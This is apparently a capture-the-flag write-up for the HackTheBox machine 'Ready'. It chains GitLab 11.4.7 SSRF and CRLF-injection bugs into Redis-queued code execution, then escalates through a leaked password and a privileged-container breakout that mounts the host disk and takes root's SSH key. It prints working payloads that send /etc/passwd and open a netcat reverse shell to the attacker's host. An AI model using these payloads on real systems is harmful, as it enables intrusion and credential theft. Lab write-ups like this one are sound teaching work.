HackTheBox - Ready

HackTheBox - Ready

Ready from HackTheBox features a GitLab instance in a Docker container. Chaining two GitLab CVEs (CVE-2018-19571 & CVE-2018-19585) allows me to gain a foothold on the container. Enumerating the container discovers a password that can be used on the container’s root account. Since the container running in privileged mode, it is possible to mount the host file system into the container.

Skills Learned

  • GitLab 11.4.7 exploitation
  • Chaining bugs from CVE-2018-19571 and CVE-2018-19585
  • Docker security

Tools

  • Kali Linux (Attacking Machine) - https://www.kali.org/
  • Nmap - Preinstalled in Kali Linux
  • BurpSuite - Preinstalled in Kali Linux

Reconnaissance

Nmap

All ports scan with nmap discovers two open ports: SSH on port 22, and a HTTP web server on port 5080

→ root@kali «ready» «10.10.14.20» 
$ nmap -p- -sV --reason -oA nmap/10-initial-ready '10.10.10.220'
Starting Nmap 7.80 ( https://nmap.org ) at 2021-05-14 04:53 EDT
Nmap scan report for 10.10.10.220
Host is up, received echo-reply ttl 63 (0.18s latency).
Not shown: 65533 closed ports
Reason: 65533 resets
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
5080/tcp open  http    syn-ack ttl 62 nginx
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 503.44 seconds

After performing a default script scan shows there’s a GitLab instance on port 5080.

→ root@kali «ready» «10.10.14.20» 
$ nmap -p22,5080 -sC -sV --reason -oA nmap/10-default-ready 10.10.10.220
Starting Nmap 7.80 ( https://nmap.org ) at 2021-05-14 05:17 EDT
Nmap scan report for 10.10.10.220
Host is up, received echo-reply ttl 63 (0.090s latency).

PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
5080/tcp open  http    syn-ack ttl 62 nginx
| http-robots.txt: 53 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile 
| /dashboard /projects/new /groups/new /groups/*/edit /users /help 
|_/s/ /snippets/new /snippets/*/edit
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://10.10.10.220:5080/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.70 seconds

Enumeration

TCP 5080 - GitLab

The page displays a self-hosted GitLab Community Edition.

image-20210514162031899

I can register with any email domain.

image-20210514162151369

The GitLab version can be seen by visiting/help, and it seems to be an outdated one.

image-20210514162920343

I’ll take a note on the version.

User Enumeration via GitLab API

I can enumerate the GitLab users via /api/v4/users, but in the end, this was not used.

image-20210514162754664

I’ll move and search for vulnerabilities.

Searchsploit

I can feed the GitLab version to searchsploit, and it returns with two exploits that match with the version.

→ root@kali «~» «10.10.14.20» 
$ searchsploit GitLab 11.4.7    
-------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                            |  Path
-------------------------------------------------------------------------- ---------------------------------
GitLab 11.4.7 - RCE (Authenticated) (2)                                   | ruby/webapps/49334.py
GitLab 11.4.7 - Remote Code Execution (Authenticated) (1)                 | ruby/webapps/49257.py
-------------------------------------------------------------------------- ---------------------------------

I relaxed the keyword to find other potential exploits, and I found an arbitrary file read which previously was used to exploit Laboratory.

→ root@kali «exploit» «10.10.14.20»
$ searchsploit GitLab
-------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                            |  Path
-------------------------------------------------------------------------- ---------------------------------
GitLab - 'impersonate' Feature Privilege Escalation                       | ruby/webapps/40236.txt
GitLab 11.4.7 - RCE (Authenticated) (2)                                   | ruby/webapps/49334.py
GitLab 11.4.7 - Remote Code Execution (Authenticated) (1)                 | ruby/webapps/49257.py
GitLab 12.9.0 - Arbitrary File Read                                       | ruby/webapps/48431.txt
Gitlab 12.9.0 - Arbitrary File Read (Authenticated)                       | ruby/webapps/49076.py
Gitlab 6.0 - Persistent Cross-Site Scripting                              | php/webapps/30329.sh
Gitlab-shell - Code Execution (Metasploit)                                | linux/remote/34362.rb
Jenkins Gitlab Hook Plugin 1.4.2 - Reflected Cross-Site Scripting         | java/webapps/47927.txt
NPMJS gitlabhook 0.0.17 - 'repository' Remote Command Execution           | json/webapps/47420.txt
-------------------------------------------------------------------------- ---------------------------------

Foothold

Shell as git

GitLab 11.4.7 RCE (CVE-2018-19571 & CVE-2018-19585) - PoC

The RCE exploit that was popped on searchsploit above is consist of two vulnerabilities, SSRF (CVE-2018-19571) and CRLF Injection (CVE-2018-19585). The exploit’s author uses the LifeOverFlow’s blog post as reference. So I decided to read that blog and try to reproduce it here.

With SSRF, you can talk with the internal Redis server on port 6379 that used by GitLab as database, cache and message broker. If there is an HTTP request sent to the Redis server using SSRF, the request would read as follows (# ==> is a comment by me)

GET blablabla HTTP/1.1 # ==> Redis read this as a command 
Host: [0:0:0:0:0:ffff:127.0.0.1]:6379 
User-Agent: git/2.18.1  
Accept: */* 
Accept-Encoding: deflate, gzip 
Pragma: no-cache 

- Err wrong number of arguments for 'get' command 

The idea here is to leverage the Import project feature from GitLab to talk to Redis server, and insert a payload in the URL using CRLF injection.

On GitLab, I’ll import a (non-exist) project and choose the “Repo by URL” menu.

image-20210514171125509

I’ll be using the same SSRF payload to bypass the GitLab URL filter which is git://[0:0:0:0:0:ffff:127.0.0.1]:6379/ and add my (non-exist) .git repository at the end of the URL, so it becomes git://[0:0:0:0:0:ffff:127.0.0.1]:6379/iamf/ssrf-test.git

image-20210515000620634

The repository URL above is a special IPv6 address where its last 32 bits is used to embed the IPv4 address. The URL was used to bypass the SSRF protection defined in spec/lib/gitlab/url_blocker_spec.rb

I’ll intercept the request after I hit the “Create Project” button, and then on Burp Suite, I’ll replace the import URL with the following:

 git://[0:0:0:0:0:ffff:127.0.0.1]:6379/iamf/
 multi

 sadd resque:gitlab:queues system_hook_push

 lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|cat /etc/passwd | nc 10.10.14.20 9000\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"

 exec
 exec
/ssrf-test.git

So the full request now looks like this:

POST /projects HTTP/1.1
Host: 10.10.10.220:5080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.220:5080/projects/new
Content-Type: application/x-www-form-urlencoded
Content-Length: 778
Connection: close
Cookie: sidebar_collapsed=false; _gitlab_session=4426e39af6c1d3d4a4484a8a53f0bac9; event_filter=all
Upgrade-Insecure-Requests: 1

utf8=%E2%9C%93&authenticity_token=cbS9UXXZDmvTgBUhOTMxF%2FOSii%2FgetcSbM%2FNTT2dG6NllhoQsV8uvbDU65arU9dEOumftKI48ZaDBi6rnJbjOQ%3D%3D&project%5Bimport_url%5D= git://[0:0:0:0:0:ffff:127.0.0.1]:6379/iamf/
 multi

 sadd resque:gitlab:queues system_hook_push

 lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|cat /etc/passwd | nc 10.10.14.20 9000\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"

 exec
 exec
/ssrf-test.git&project%5Bci_cd_only%5D=false&project%5Bname%5D=SSRF+test&project%5Bnamespace_id%5D=5&project%5Bpath%5D=ssrf-test&project%5Bdescription%5D=&project%5Bvisibility_level%5D=0

When I hit the send button, my listener obtains the file contents of /etc/passwd.

 root@kali «exploit» «10.10.14.20» 
$ nc -nvlp 9000
listening on [any] 9000 ...
connect to [10.10.14.20] from (UNKNOWN) [10.10.10.220] 36612
...<SNIP>...
git:x:998:998::/var/opt/gitlab:/bin/sh
gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false
gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false
gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh
mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh
registry:x:993:993::/var/opt/gitlab/registry:/bin/sh
gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh
gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh
dude:x:1000:1000::/home/dude:/bin/bash

image-20210515002210570

Weaponize - Reverse Shell

From here, I’ll reproduce the step above, but this time I’ll send myself a shell. The payload as follows.

 git://[0:0:0:0:0:ffff:127.0.0.1]:6379/iamf/
 multi

 sadd resque:gitlab:queues system_hook_push

 lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|nc -e /bin/bash 10.10.14.20 9000\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"

 exec
 exec
/ssrf-to-rce.git

On my nc listener:

→ root@kali «exploit» «10.10.14.20» 
$ nc -nvlp 9000
listening on [any] 9000 ...
connect to [10.10.14.20] from (UNKNOWN) [10.10.10.220] 37306
id
uid=998(git) gid=998(git) groups=998(git)
hostname
gitlab.example.com
pwd   
/var/opt/gitlab/gitlab-rails/working

Shell Upgrade

I’ll do the ‘stty’ trick to upgrade my shell.

which python3
/opt/gitlab/embedded/bin/python3
python3 -c 'import pty;pty.spawn("/bin/bash")'
git@gitlab:~/gitlab-rails/working$ ^Z
[2]  + 2354 suspended  nc -nvlp 9000
→ root@kali «exploit» «10.10.14.20» 
$ stty raw -echo; fg
[2]  - 2354 continued  nc -nvlp 9000

git@gitlab:~/gitlab-rails/working$ 
git@gitlab:~/gitlab-rails/working$ export TERM=xterm

On /home, there is only one user called dude, and I’m able to read the user flag there.

git@gitlab:/home/dude$ ls -la
total 24
drwxr-xr-x 2 dude dude 4096 Dec  7 16:58 .
drwxr-xr-x 1 root root 4096 Dec  2 10:45 ..
lrwxrwxrwx 1 root root    9 Dec  7 16:58 .bash_history -> /dev/null
-rw-r--r-- 1 dude dude  220 Aug 31  2015 .bash_logout
-rw-r--r-- 1 dude dude 3771 Aug 31  2015 .bashrc
-rw-r--r-- 1 dude dude  655 May 16  2017 .profile
-r--r----- 1 dude git    33 Dec  2 10:46 user.txt
git@gitlab:/home/dude$ cat user.txt 
e1e30b052b6ec0670698...<SNIP>...

Privilege Escalation

Container - Shell as root

Enumeration

I found a .dockerenv on the root directory which indicates that I’m inside container, and there is also a file called root_pass.

git@gitlab:~$ ls -la /
total 104
drwxr-xr-x   1 root root 4096 Dec  1 12:41 .
drwxr-xr-x   1 root root 4096 Dec  1 12:41 ..
-rwxr-xr-x   1 root root    0 Dec  1 12:41 .dockerenv
...<SNIP>...
-rw-r--r--   1 root root   23 Jun 29  2020 root_pass

The content of root_pass is a random string, which I think it is a password. I tried it to the user and root account but it didn’t work.

git@gitlab:/opt/backup$ cat /root_pass 
YG65407Bjqvv9A0a8Tm_7w

Exploring on /opt, I found a folder called backup. The folder contains three files: docker-compose.yml, gitlab-secrets.json and gitlab.rb.

git@gitlab:/opt/backup$ ls -l
total 100
-rw-r--r-- 1 root root   872 Dec  7 09:25 docker-compose.yml
-rw-r--r-- 1 root root 15092 Dec  1 16:23 gitlab-secrets.json
-rw-r--r-- 1 root root 79639 Dec  1 19:20 gitlab.rb

Upon performing a recursive grep to search for files containing a “pass” string inside the folder, I discovered an SMTP password on gitlab.rb.

git@gitlab:/opt/backup$ grep -Ri "pass"
...<SNIP>...
gitlab.rb:gitlab_rails['smtp_password'] = "wW59U!ZKMbG9+*#h"
...<SNIP>...

Looking into the docker-compose.yml, I see a potential vector for container breakout.

git@gitlab:/opt/backup$ cat docker-compose.yml 
version: '2.4'

services:
  web:
    image: 'gitlab/gitlab-ce:11.4.7-ce.0'
    restart: always
    hostname: 'gitlab.example.com'
    environment:
      GITLAB_OMNIBUS_CONFIG: |
        external_url 'http://172.19.0.2'
        redis['bind']='127.0.0.1'
        redis['port']=6379
        gitlab_rails['initial_root_password']=File.read('/root_pass')
    networks:
      gitlab:
        ipv4_address: 172.19.0.2
    ports:
      - '5080:80'
      #- '127.0.0.1:5080:80'
      #- '127.0.0.1:50443:443'
      #- '127.0.0.1:5022:22'
    volumes:
      - './srv/gitlab/config:/etc/gitlab'
      - './srv/gitlab/logs:/var/log/gitlab'
      - './srv/gitlab/data:/var/opt/gitlab'
      - './root_pass:/root_pass'
    privileged: true # ==> Potential privesc vector
    restart: unless-stopped
    #mem_limit: 1024m

networks:
  gitlab:
    driver: bridge
    ipam:
      config:
        - subnet: 172.19.0.0/16

su - root (container)

The password wW59U!ZKMbG9+*#h works on the container root account

git@gitlab:/opt/gitlab$ su root
Password: wW59U!ZKMbG9+*#h
root@gitlab:/opt/gitlab# id
uid=0(root) gid=0(root) groups=0(root)

Host - Shell as root

Docker Breakout - CAP_SYS_ADMIN

Based on the docker-compose.yml file, I suspect the container is running with privileged flag. According to my favorite blog, which is BookHackTrick, a container with privileged flag will have access to the host devices.

Make sure I have access to the host devices, I can run capsh --print.

root@gitlab:/opt/gitlab# capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37+eip
...<SNIP>...

There is a CAP_SYS_ADMIN, with this capabilities I’m able to mount the host devices to make it available on the container. I can list all the host devices with fdisk -l.

root@gitlab:~# fdisk -l

...<SNIP>...
Disk /dev/sda: 20 GiB, 21474836480 bytes, 41943040 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: gpt
Disk identifier: 32558524-85A4-4072-AA28-FA341BE86C2E

Device        Start      End  Sectors Size Type
/dev/sda1      2048     4095     2048   1M BIOS boot
/dev/sda2      4096 37746687 37742592  18G Linux filesystem # the root (/) dir
/dev/sda3  37746688 41940991  4194304   2G Linux swap

Now I can simply mount the Linux filesystem (/dev/sda2) to my specified folder.

root@gitlab:/media# mkdir iamf
root@gitlab:/media# mount /dev/sda2 /media/iamf
root@gitlab:/media# ls iamf/
bin   cdrom  etc   lib    lib64   lost+found  mnt  proc  run   snap  sys  usr
boot  dev    home  lib32  libx32  media       opt  root  sbin  srv   tmp  var

The root user of the host has SSH keys, I’ll grab only the private key to my machine.

root@gitlab:/media# ls -l iamf/root/.ssh/ 
total 12
-rw------- 1 root root  405 Dec  7 16:49 authorized_keys
-rw------- 1 root root 1675 Dec  7 16:49 id_rsa
-rw-r--r-- 1 root root  405 Dec  7 16:49 id_rsa.pub
root@gitlab:/media# cat iamf/root/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAvyovfg++zswQT0s4YuKtqxOO6EhG38TR2eUaInSfI1rjH09Q
sle1ivGnwAUrroNAK48LE70Io13DIfE9rxcotDviAIhbBOaqMLbLnfnnCNLApjCn
...[SNIP]...
vJzok/kcmwcBlGfmRKxlS0O6n9dAiOLY46YdjyS8F8hNPOKX6rCd
-----END RSA PRIVATE KEY-----

SSH Access - root (host)

After changing the key permissions to 600, I can login as root user.

→ root@kali «exploit» «10.10.14.20» 
$ ssh -i root_rsa root@10.10.10.220
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-40-generic x86_64)

...<SNIP>..
  System load:                      0.05
  Usage of /:                       67.1% of 17.59GB
  Memory usage:                     84%
  Swap usage:                       4%
  Processes:                        434
  Users logged in:                  0
  IPv4 address for br-bcb73b090b3f: 172.19.0.1
  IPv4 address for docker0:         172.17.0.1
  IPv4 address for ens160:          10.10.10.220
  IPv6 address for ens160:          dead:beef::250:56ff:feb9:211

...<SNIP>..
Last login: Thu Feb 11 14:28:18 2021
root@ready:~# id
uid=0(root) gid=0(root) groups=0(root)

I can also grab the root flag.

root@ready:~# cut -c-15 root.txt 
b7f98681505cd39

References